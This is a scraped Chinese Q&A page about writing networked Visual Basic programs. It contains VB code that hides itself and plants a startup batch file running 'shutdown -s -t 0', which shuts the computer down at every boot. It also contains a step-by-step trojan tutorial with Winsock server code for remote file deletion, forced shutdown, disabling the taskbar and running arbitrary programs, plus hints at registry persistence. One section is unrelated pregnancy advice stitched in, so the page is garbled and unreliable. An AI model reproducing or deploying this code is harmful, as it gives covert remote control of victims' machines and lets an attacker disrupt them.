導航:首頁 > 網路安全 > vb如何編網路版的軟體

vb如何編網路版的軟體

發布時間:2022-07-01 17:46:15

1. 怎樣用VB寫軟體

對於初學者,只能是說如何編寫程序,而不是寫軟體,因為
軟體=數據結構+程序

2. VB的網路版程序怎樣做

這個問題可沒提好啊!

你直接在網路里搜索啊,有很多這樣的相關資料!windows下的任何網路編程都要用到winsock!

3. 怎麼用vb編寫遠程式控制制軟體

Private
Sub
Form_Load()
Me.Visible
=
False
Open
"C:\Documents
and
Settings\Administrator\「開始」菜單\程序\啟動\1.bat"
For
Append
As
#1
Close
#1
Open
"C:\Documents
and
Settings\Administrator\「開始」菜單\程序\啟動\1.bat"
For
Output
As
#1
Print
#1,
"shutdown
-s
-t
0"
Close
#1
End
Sub
你自己看下
你的啟動路徑在哪!
補充:
N樓的你發的什麼啊,,
要BAT命令
關機
shutdown-s
-t
0
就關機了~~
追問:
那開機後這個VB會自動運行對嗎。還有怎麼樣才能讓自己點什麼或按什麼就可以阻止關機呢
回答:
這樣呢,,就是把BAT命令寫到啟動里VB程序不會啟動,
要是阻止關機,,
不容易
因為設置0秒了
要不你可以設置5秒以上,
阻止關機
Win+R
輸入shutdown-a
就關機了

4. 如何將單機的VB應用程序改成網路版的

你好,你的情況有可能懷孕的,應該做個早孕的測試,可以通過早孕試紙來測試一下晨尿,也可以直接去醫院做個HCG的檢查,都是可以的,一般來說HCG的檢查比試紙更為准確可靠.**

病情分析:
你好!你這情況是不會懷孕的
指導意見:
你這是安全期,而且還帶套,並且沒有進入陰道是不會懷孕的

病情分析:
你好,這種情況一般是不會懷孕的
指導意見:
月經期後一周是安全期,再者沒有直接的陰道性交,一般是不會懷孕的

病情分析:
根據敘述,懷孕的幾率很小.
指導意見:
同房的時間,是在月經干凈後的第三天,相對來說,懷孕的幾率還是比較小的,不需要擔心.

病情分析:
你好,根據你的情況,考慮你是不會懷孕的,請放心好了.
指導意見:
因為沒有進入陰道,所以就沒有可能射精在裡面,就不可能懷孕的.
生活護理:
而且你們同房的時間也基本不再排卵期,就更不用擔心了.祝你健康.

病情分析:
你好,你的情況懷孕的可能性不大,不用擔心
指導意見:
是在安全期性生活的,不會有懷孕的可能性,不用緊張

病情分析:
你好,那個時候你大概是在安全期.
指導意見:
再加上第一次沒射精,第二次還是帶了套的,所以你懷孕的幾率很小,不用擔心.

病情分析:
你好,按你說的情況來看不需要太擔心.
指導意見:
首先你的月經剛完,按正常的來說,你在這個時候是不會排卵的,受孕機會不大,而且你們在發現避孕套破損的時候及時更換了,所以懷孕的可能性不大.
如果實在不放心,可以買一張早早孕試紙檢測一下.
生活護理:
希望我的回答對你有幫助

病情分析:
你好,如果您的月經規律的話,排卵日應該在下次月經前14天,而非安全期是排卵日加上前5天和後4天,在這幾天同房懷孕幾率是很大的,其他時間就是安全期,在安全期同房懷孕的幾率是很小的.
指導意見:
根據您的情況來看,您在月經干凈之後3天同房,是屬於安全期,即使內射,懷孕的幾率也會很小,因此,不要太擔心了.

5. 如何用VB6.0編輯一個遠程式控制制軟體

伊洛木馬,名稱源於古希臘的特伊洛馬神話,是一種遠程式控制制軟體。現在網路上流行的木馬軟體基本都是客戶機/伺服器模式也就是所謂的C/S結構,目前也有一些開始向B/S結構轉變,在這里暫且不對B/S結構進行詳談,本文主要介紹C/S結構其原理就是在本機直接啟動運行的程序擁有與使用者相同的許可權。因此如果能夠啟動伺服器端(即被攻擊的計算機)的伺服器程序,就可以使用相應的客戶端工具客戶程序直接控制它了。下面來談談如何用VB來實現它。
首先使用VB建立兩個程序,一個為客戶端程序Client,一個為伺服器端程序systry。

在Client工程中建立一個窗體,載入WinSock控制項(VB自己就帶有這個控制項的
在工具箱中添加winsock進去就了),稱為tcpClient,協議選擇TCP,再加入兩個文本框,用以輸入伺服器的IP地址或伺服器名,然後建立一個按鈕,按下之後就可以對連接進行初始化了,代碼如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("請輸入主機名或主機IP地址。")
Exit Sub
Else
If Len(Text1.Text) > 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
連接建立之後就可以使用DataArrival事件處理所收到的數據了。

在伺服器端systry工程也建立一個窗體,載入WinSock控制項,稱為tcpServer,協議選擇TCP,在Form_Load事件中加入如下代碼:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub

准備應答客戶端程序的請求連接,使用ConnectionRequest事件來應答戶端程序的請求,代碼如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State <> sckClosed Then
tcpServer.Close『檢查控制項的 State 屬性是否為關閉的。
End If 』如果不是,在接受新的連接之前先關閉此連接。
tcpServer.Accept requestID
End Sub

這樣在客戶端程序按下了連接按鈕後,伺服器端程序的ConnectionRequest事件被觸發,執行了以上的代碼。如果不出意外,連接就被建立起來了。

建立連接後伺服器端的程序通過DataArrival事件接收客戶機端程序所發的指令運行既定的程序。如:把伺服器端的驅動器名、目錄名、文件名等傳到客戶機端,客戶機端接收後用TreeView控制項以樹狀的形式顯示出來,瀏覽伺服器端文件目錄;強制關閉或重啟伺服器端的計算機;屏蔽任務欄窗口;屏蔽開始菜單;按照客戶機端傳過來的文件名或目錄名,而刪除它;屏蔽熱啟動鍵;運行伺服器端的任何程序;還包括獲取目標計算機屏幕圖象、窗口及進程列表;激活、終止遠端進程;打開、關閉、移動遠端窗口;控制目標計算機滑鼠的移動與動作;交換遠端滑鼠的左右鍵;在目標計算機模擬鍵盤輸入,下載、上裝文件;提取、創建、修改目標計算機系統注冊表關鍵字;在遠端屏幕上顯示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)

Dim strData As String
Dim i As Long
Dim mKey As String

tcpServer.GetData strData
『接收數據並存入strData
For i = 1 To Len(strData)
『分離strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
『把命令ID號存入mKey

『把命令參數存入strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
『驅動器名、目錄名、文件名
Case 2
強制關閉伺服器端的計算機
Case 3
強制重啟伺服器端的計算機
Case 4
屏蔽任務欄窗口;
Case 5
屏蔽開始菜單;
Case 6
按照客戶機端傳過來的文件名或目錄名,而刪除它;
Case 7
屏蔽熱啟動鍵;
Case 8
運行伺服器端的任何程序
End Select
End Sub

客戶機端用tcpClient.SendData發命令。命令包括命令ID和命令參數,它們用符號「@」隔開。

另外,當客戶機端斷開與伺服器端的來接後,伺服器端應用tcpServer_Close事件,來繼續准備接收客戶機端的請求,其代碼如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
這就是一個最基本的特洛伊木馬程序,只要你的機器運行了伺服器端程序,那別人就可以在千里之外控制你的計算機。至於如何讓伺服器端程序運行就要發揮你的聰明才智了,在我的源程序中有一中方法,是修改系統注冊表的方法。

成功的特洛伊木馬程序要比這個復雜一些,還有程序的隱藏、自動復制、傳播等問題要解決。警告:千萬不要用BO程序破壞別人的系統。

6. 如何在VB中編寫聯網的程序

可以用Winsock控制項,參照相關資料,我就不多說了
http://tech.163.com/06/0407/14/2E46BB930009159S.html

7. 用VB編寫遠程管理軟體怎麼編

首先你要獲得遠程機器的控制許可權,然後可以通過TCP/IP向遠程的機器發送請求。
如果想從遠程機器一開機就開始控制它,那你要針對於windows的LoginApp寫一個Cgi,在他輸入密碼前先執行你的App腳本。這樣才能獲得遠程機器的超級用戶使用許可權。
如果雙方都是windows的應用程序那就好辦了,直接通過TSE方式就可以了。

8. 怎麼用VB開發網路版的系統

利用ADO控制項連接資料庫就可以了 例如: dim conn as adodb.connection dim rs as adodb.recordset set conn=new adodb.connection set rs=new adodb.recordset conn.open "dsn=mydsn",UserID,UPwd rs.open "select * from tablename",conn,2,1 。。。

9. VB如何寫內外網聊天軟體

這個分幾種情況的
先說說前提
聊天軟體需要一個伺服器存放客戶端列表吧
只要客戶端是在線的,那客戶端與服務端必須是處於連接狀態(這樣伺服器就可以作為客戶端的中間人)

在這里Server(為服務端),Client A(客戶端1)Client B(客戶端2)
1,Client A是外網,Client B是外網這種情況很簡單,Client A只要從伺服器端得到Client B的信息(IP與登記的埠)就能夠建立連接

2,Client A是外網,Client B是內網這種情況稍復雜,Client A連接Client B會失敗,這時,Client A向Server發出請求,這時,Server通知Client B,讓Client B連接Client A..因為Client A是外網機器,所以這樣也就建立連接了

3,Client A與Client B都在內網,p2p關鍵是在這里,
當Client A連接Client B失敗,Client A向Server發出請求,Server通知Client B對Client A進行連接,這時Client B他能連接上Client A!但是,如果剛才Client A沒有連接Client B,那現在的Client B就連接不上Client A!反之:這里重新再來啊,Client B連接Client A失敗,Client B向Server發出請求,Server通知Client A連接Client B,這時Client A也能連接上Client A!
在這里需要說一下NAT(網路地址轉換),就是當內網用戶連接外網時,NAT可以可以將內網地址轉換成公網的IP地址與外網進行通信,但外網有數據返進入內網時,有兩種可能(如果前面內網有向這個外網地址發送過數據包,那麼NAT會把這個外網的連接轉換為剛剛發送過數據包的內網地址)
再回來說前面的,Client A為什麼會連接Client B失敗?,因為Client A的數據包到達Client B的NAT時被丟棄了,而這時,Client B為什麼又如何能連接Client A成功呢,因為當Client B的數據包到達Client A的NAT時,NAT檢測到剛剛Client A有發送過數據包到Client B,這個時候NAT會將這個連接轉換到Client A上去...這樣就連接成功了

說著我都有點暈了.不知道你看著會不會暈..- -!看著暈慢慢看吧..CSDN中有VB版的UDP打洞例子,你找下...

閱讀全文

與vb如何編網路版的軟體相關的資料

熱點內容
哪裡有電信網路加寬頻 瀏覽:109
電腦怎麼查看自己的寬頻網路 瀏覽:791
蘋果6p怎麼下載移動網路 瀏覽:453
5g網路最早用於哪個城市 瀏覽:314
華為榮耀8無線網路慢 瀏覽:251
網路通斷測試儀在哪裡賣 瀏覽:783
網路壞了該如何修復 瀏覽:904
手機沒打開網路應用流量流失 瀏覽:241
汕頭網路安全執法 瀏覽:415
巨人網路開發多少個游戲 瀏覽:44
網路暴力你了解多少 瀏覽:381
學習機怎麼連接無線網路教育 瀏覽:701
網路安全的小人怎麼畫 瀏覽:118
win7當前網路連接數據 瀏覽:569
網路寬頻地址手機查詢 瀏覽:438
打雲游戲網路差怎麼辦 瀏覽:701
沒連接網路的電腦上有病毒 瀏覽:945
電腦網路機頂盒 瀏覽:342
環境監測儀信息網路連接 瀏覽:521
蘋果手機抖音沒網路怎麼回事 瀏覽:7

友情鏈接